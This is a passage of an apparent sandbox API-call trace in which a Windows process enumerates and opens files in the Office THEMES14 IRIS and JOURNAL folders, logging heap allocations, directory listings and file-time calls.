lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0059.709] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0059.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fd3a8 [0059.709] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fd3a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fd3a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0059.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fd3a8) returned 1 [0059.710] NtClose (Handle=0x16c) returned 0x0 [0059.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.710] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0059.710] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.710] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0059.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2db0 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb4c8 [0059.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.710] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2dd0 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb5d0 [0059.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.711] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2df0 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb6d8 [0059.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.711] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2e10 [0059.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb7e0 [0059.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.711] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.711] GetLastError () returned 0x12 [0059.711] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0059.711] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0059.711] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.712] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0059.712] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0059.712] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.712] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.712] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.712] GetLastError () returned 0x12 [0059.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.712] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0059.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0059.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.712] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0059.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.712] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0059.804] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0059.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fd3a8 [0059.804] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fd3a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fd3a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0059.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fd3a8) returned 1 [0059.804] NtClose (Handle=0x160) returned 0x0 [0059.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0059.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb8e8 [0059.805] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0059.805] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.805] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb9f0 [0059.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2e30 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fbaf8 [0059.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.805] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2e50 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fbc00 [0059.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x800) returned 0x9fd3a8 [0059.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fabe0) returned 1 [0059.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.806] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2e70 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fbd08 [0059.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.806] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2e90 [0059.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fbe10 [0059.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.806] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.806] GetLastError () returned 0x12 [0059.806] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0059.806] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0059.807] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.807] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0059.807] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0059.807] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.807] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.807] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, 